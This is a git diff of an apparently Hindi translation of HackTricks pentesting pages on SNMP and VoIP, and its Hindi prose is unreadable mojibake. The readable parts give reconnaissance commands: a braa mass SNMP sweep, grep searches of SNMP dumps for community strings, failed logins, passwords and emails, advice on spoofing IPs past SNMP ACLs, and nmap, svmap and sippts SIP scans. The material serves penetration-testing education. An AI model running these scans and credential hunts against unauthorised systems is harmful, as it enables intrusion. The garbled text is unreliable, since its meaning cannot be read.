рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `1.3.6.1.2.1.25.4.2.1.2` рдорд╛рди рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред @@ -153,7 +154,7 @@ Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкрд╣рд▓реБрдУрдВ рдХ - **рд╕реНрдЯреЛрд░реЗрдЬ рдпреВрдирд┐рдЯреНрд╕**: рд╕реНрдЯреЛрд░реЗрдЬ рдпреВрдирд┐рдЯреНрд╕ рдХреА рдирд┐рдЧрд░рд╛рдиреА `1.3.6.1.2.1.25.2.3.1.4` рджреНрд╡рд╛рд░рд╛ рдХреА рдЬрд╛рддреА рд╣реИред - **рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдирд╛рдо**: рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `1.3.6.1.2.1.25.6.3.1.2` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `1.3.6.1.4.1.77.1.2.25` рдорд╛рди рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред -- **TCP рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ**: рдЕрдВрдд рдореЗрдВ, `1.3.6.1.2.1.6.13.1.3` TCP рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕рдХреНрд░рд┐рдп рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- **TCP рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ**: рдЕрдВрддрддрдГ, `1.3.6.1.2.1.6.13.1.3` TCP рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕рдХреНрд░рд┐рдп рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред ### Cisco @@ -173,33 +174,33 @@ snmp-rce.md ## **рдорд╛рд╕рд┐рд╡ SNMP** -[Braa ](https://github.com/mteg/braa) рдПрдХ рдорд╛рд╕ SNMP рд╕реНрдХреИрдирд░ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреЗ рдЙрдкрдХрд░рдг рдХрд╛ рдЗрд░рд╛рджрд╛, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, SNMP рдкреНрд░рд╢реНрди рдкреВрдЫрдирд╛ рд╣реИ - рд▓реЗрдХрд┐рди net-snmp рд╕реЗ snmpwalk рдХреЗ рд╡рд┐рдкрд░реАрдд, рдпрд╣ рдПрдХ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджрд░реНрдЬрдиреЛрдВ рдпрд╛ рд╕реИрдХрдбрд╝реЛрдВ рд╣реЛрд╕реНрдЯреЛрдВ рдХреЛ рдПрдХ рд╕рд╛рде рдкреВрдЫрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрд╣ рдмрд╣реБрдд рдХрдо рд╕рд┐рд╕реНрдЯрдо рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реНрдХреИрдирд┐рдВрдЧ рдмрд╣реБрдд рддреЗрдЬрд╝ рдХрд░рддрд╛ рд╣реИред +[Braa ](https://github.com/mteg/braa) рдПрдХ рдорд╛рд╕ SNMP рд╕реНрдХреИрдирд░ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреЗ рдЙрдкрдХрд░рдг рдХрд╛ рдЗрд░рд╛рджрд╛, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, SNMP рдкреНрд░рд╢реНрди рдХрд░рдирд╛ рд╣реИ - рд▓реЗрдХрд┐рди net-snmp рд╕реЗ snmpwalk рдХреЗ рд╡рд┐рдкрд░реАрдд, рдпрд╣ рдПрдХ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджрд░реНрдЬрдиреЛрдВ рдпрд╛ рд╕реИрдХрдбрд╝реЛрдВ рд╣реЛрд╕реНрдЯ рдХреЛ рдПрдХ рд╕рд╛рде рдкреНрд░рд╢реНрди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрд╣ рдмрд╣реБрдд рдХрдо рд╕рд┐рд╕реНрдЯрдо рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реНрдХреИрдирд┐рдВрдЧ рдмрд╣реБрдд рддреЗрдЬрд╝ рдХрд░рддрд╛ рд╣реИред -Braa рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ SNMP рд╕реНрдЯреИрдХ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ net-snmp рдЬреИрд╕реА рдХрд┐рд╕реА рднреА SNMP рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред +Braa рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ SNMP рд╕реНрдЯреИрдХ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ net-snmp рдЬреИрд╕реА рдХрд┐рд╕реА рднреА SNMP рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред **рд╕рд┐рдВрдЯреИрдХреНрд╕:** braa \[Community-string]@\[IP of SNMP server]:\[iso id] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` -рдпрд╣ рдмрд╣реБрдд рд╕рд╛рд░реЗ MB рдХреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред +рдпрд╣ рдмрд╣реБрдд рд╕рд╛рд░рд╛ MB рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред рддреЛ, рдЪрд▓рд┐рдП рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдХреА рддрд▓рд╛рд╢ рдХрд░рддреЗ рд╣реИрдВ (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): -### **Devices** +### **рдЙрдкрдХрд░рдг** -рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рд╛рдЗрд▓ рд╕реЗ **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдХрд░рдгреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдПрдХ **grep command** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░рддреНрдпреЗрдХ рдлрд╝рд╛рдЗрд▓ рд╕реЗ **sysDesc MIB рдбреЗрдЯрд╛** (1.3.6.1.2.1.1.1.0) рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдХрд░рдгреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдПрдХ **grep рдХрдорд╛рдВрдб** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **рдирд┐рдЬреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ** -рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрджрдо рдореЗрдВ рд╕рдВрдЧрдардиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ **рдирд┐рдЬреА рд╕рдореБрджрд╛рдп рд╕реНрдЯреНрд░рд┐рдВрдЧ** рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Cisco IOS рд░рд╛рдЙрдЯрд░ рдкрд░ред рдпрд╣ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд░рд╛рдЙрдЯрд░ рд╕реЗ **рдЪрд▓ рд░рд╣реА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди** рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдкрд╣рдЪрд╛рди рдЕрдХреНрд╕рд░ "trap" рд╢рдмреНрдж рдХреЗ рд▓рд┐рдП SNMP рдЯреНрд░реИрдк рдбреЗрдЯрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ **grep рдХрдорд╛рдВрдб** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрджрдо **рдирд┐рдЬреА рд╕рдореБрджрд╛рдп рд╕реНрдЯреНрд░рд┐рдВрдЧ** рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рд╣реИ рдЬреЛ рд╕рдВрдЧрдардиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Cisco IOS рд░рд╛рдЙрдЯрд░реНрд╕ рдкрд░ред рдпрд╣ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд░рд╛рдЙрдЯрд░реНрд╕ рд╕реЗ **рдЪрд▓ рд░рд╣реА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди** рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдкрд╣рдЪрд╛рди рдЕрдХреНрд╕рд░ SNMP рдЯреНрд░реИрдк рдбреЗрдЯрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬрд┐рд╕рдореЗрдВ "trap" рд╢рдмреНрдж рд╣реЛрддрд╛ рд╣реИ, **grep рдХрдорд╛рдВрдб** рдХреЗ рд╕рд╛рде: ```bash grep -i "trap" *.snmp ``` -### **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/рдкрд╛рд╕рд╡рд░реНрдб** +### **рдпреВрдЬрд░рдиреЗрдо/рдкрд╛рд╕рд╡рд░реНрдб** -MIB рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд▓реЙрдЧ рдХреЛ **рдЕрд╕рдлрд▓ рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ** рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЧрд▓рддреА рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдореВрд▓реНрдпрд╡рд╛рди рдбреЗрдЯрд╛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП _fail_, _failed_, рдпрд╛ _login_ рдЬреИрд╕реЗ рдХреАрд╡рд░реНрдб рдЦреЛрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ: +MIB рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд▓реЙрдЧ рдХреЛ **рдЕрд╕рдлрд▓ рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕реЛрдВ** рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЧрд▓рддреА рд╕реЗ рдпреВрдЬрд░рдиреЗрдо рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдореВрд▓реНрдпрд╡рд╛рди рдбреЗрдЯрд╛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП _fail_, _failed_, рдпрд╛ _login_ рдЬреИрд╕реЗ рдХреАрд╡рд░реНрдб рдЦреЛрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ: ```bash grep -i "login\|fail" *.snmp ``` @@ -215,7 +216,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ## рд╕реНрдкреВрдлрд┐рдВрдЧ -рдпрджрд┐ рдХреЛрдИ ACL рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдХреБрдЫ IPs рдХреЛ SMNP рд╕реЗрд╡рд╛ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк UDP рдкреИрдХреЗрдЯ рдХреЗ рдЕрдВрджрд░ рдЗрди рдкрддреЗ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рд╕реНрдкреВрдл рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕реНрдирд┐рдл рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдХреЛрдИ ACL рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдХреБрдЫ IPs рдХреЛ SMNP рд╕реЗрд╡рд╛ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рддреЛ рдЖрдк UDP рдкреИрдХреЗрдЯ рдХреЗ рдЕрдВрджрд░ рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдкрддреЗ рдХреЛ рд╕реНрдкреВрдл рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рд╕реНрдирд┐рдл рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ## SNMP рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ @@ -223,7 +224,6 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp - snmpd.conf - snmp-config.xml - ## HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЖрджреЗрд╢ ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index c7296cfc8..45116eb4f 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## VoIP рдореВрд▓ рдЬрд╛рдирдХрд╛рд░реА VoIP рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдпрд╣ рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: @@ -140,9 +139,9 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -рдпрд╣ рдЬрд╛рдирдХрд░ рдХрд┐ рдХреНрдпрд╛ рдСрдкрд░реЗрдЯрд░ VoIP рд╕реЗрд╡рд╛рдПрдВ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЖрдк рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХрдВрдкрдиреА VoIP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИ... рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХрдВрдкрдиреА рдиреЗ VoIP рд╕реЗрд╡рд╛рдПрдВ рдирд╣реАрдВ рд▓реА рд╣реИрдВ рд▓реЗрдХрд┐рди рдЕрдкрдиреЗ VoIP PBX рдХреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдЯреЗрд▓реАрдлреЛрдиреА рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП PSTN рдХрд╛рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИред +рдпрд╣ рдЬрд╛рдирдХрд░ рдХрд┐ рдХреНрдпрд╛ рдСрдкрд░реЗрдЯрд░ VoIP рд╕реЗрд╡рд╛рдПрдВ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЖрдк рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдХрдВрдкрдиреА VoIP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИ... рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХрдВрдкрдиреА рдиреЗ VoIP рд╕реЗрд╡рд╛рдПрдВ рдирд╣реАрдВ рд▓реА рд╣реИрдВ рд▓реЗрдХрд┐рди рдЕрдкрдиреЗ VoIP PBX рдХреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдЯреЗрд▓реАрдлреЛрдиреА рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП PSTN рдХрд╛рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИред -рдРрд╕реА рдЪреАрдЬреЗрдВ рдЬреИрд╕реЗ рд╕рдВрдЧреАрдд рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрддреНрддрд░ рдЖрдорддреМрд░ рдкрд░ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИрдВ рдХрд┐ VoIP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред +рд╕рдВрдЧреАрдд рдХреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдВ рдЬреИрд╕реА рдЪреАрдЬреЗрдВ рдЖрдорддреМрд░ рдкрд░ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИрдВ рдХрд┐ VoIP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред ### Google Dorks ```bash @@ -192,7 +191,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS рд╕реНрдХреИрди UDP, TCP рдпрд╛ TLS рдкрд░ SIP рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╣реБрдд рддреЗрдЬрд╝ рд╕реНрдХреИрдирд░ рд╣реИред рдпрд╣ рдорд▓реНрдЯреАрдереНрд░реЗрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдмрдбрд╝реЗ рдиреЗрдЯрд╡рд░реНрдХ рд░реЗрдВрдЬ рдХреЛ рд╕реНрдХреИрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреЛрд░реНрдЯ рд░реЗрдВрдЬ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ, TCP рдФрд░ UDP рджреЛрдиреЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ, рдПрдХ рдЕрдиреНрдп рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ OPTIONS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛) рдФрд░ рдПрдХ рдЕрд▓рдЧ User-Agent (рдФрд░ рдЕрдзрд┐рдХ) рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS рд╕реНрдХреИрди SIP рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП UDP, TCP рдпрд╛ TLS рдкрд░ рдПрдХ рдмрд╣реБрдд рддреЗрдЬрд╝ рд╕реНрдХреИрдирд░ рд╣реИред рдпрд╣ рдорд▓реНрдЯреАрдереНрд░реЗрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдмрдбрд╝реЗ рдиреЗрдЯрд╡рд░реНрдХ рд░реЗрдВрдЬ рдХреЛ рд╕реНрдХреИрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреЛрд░реНрдЯ рд░реЗрдВрдЬ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ, TCP рдФрд░ UDP рджреЛрдиреЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ, рдПрдХ рдЕрдиреНрдп рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдпрд╣ OPTIONS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛) рдФрд░ рдПрдХ рдЕрд▓рдЧ User-Agent рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдФрд░ рдЕрдзрд┐рдХ)ред ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -229,7 +228,7 @@ sippts enumerate -i 10.10.0.10 ``` ### рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг -рдпрд╣ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рд╣рдо рдЙрди рд╣реЗрдбрд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ рдЬреЛ рдПрдХ рд╕рд░реНрд╡рд░ рд╣рдореЗрдВ рд╡рд╛рдкрд╕ рднреЗрдЬрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрджреЗрд╢ рдХреЗ рдкреНрд░рдХрд╛рд░ рдФрд░ рд╣реЗрдбрд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╣рдо рднреЗрдЬрддреЗ рд╣реИрдВред [**sippts**](https://github.com/Pepelux/sippts) рд╕реЗ `SIPPTS send` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдо рд╡реНрдпрдХреНрддрд┐рдЧрдд рд╕рдВрджреЗрд╢ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рднреА рд╣реЗрдбрд░ рдХреЛ рдореИрдирд┐рдкреБрд▓реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрд╣ рдмрд╣реБрдд рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рд╣рдо рдЙрди рд╣реЗрдбрд░ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВ рдЬреЛ рдПрдХ рд╕рд░реНрд╡рд░ рд╣рдореЗрдВ рд╡рд╛рдкрд╕ рднреЗрдЬрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ рд╣рдо рднреЗрдЬреЗ рдЧрдП рд╕рдВрджреЗрд╢ рдФрд░ рд╣реЗрдбрд░ рдХреЗ рдкреНрд░рдХрд╛рд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред `SIPPTS send` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ [**sippts**](https://github.com/Pepelux/sippts) рд╣рдо рд╡реНрдпрдХреНрддрд┐рдЧрдд рд╕рдВрджреЗрд╢ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рднреА рд╣реЗрдбрд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ 